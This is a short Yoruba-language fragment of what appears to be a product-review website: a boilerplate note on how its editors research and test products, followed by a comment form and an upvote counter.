Ẹgbẹ ti awọn olootu iwé lo akoko wọn lati ṣe iwadii awọn ọja, ṣiṣe awọn idanwo iṣe, ṣe ijomitoro awọn akosemose ile-iṣẹ, atunyẹwo awọn atunyẹwo alabara, ati kikọ gbogbo awọn abajade wa bi awọn akopọ oye ati oye.

Fi ọrọìwòye

Adirẹsi imeeli rẹ kii yoo ṣe atẹjade. Ti beere awọn aaye pẹlu *

Kini o le ro?

384 Points
Upvote Abajade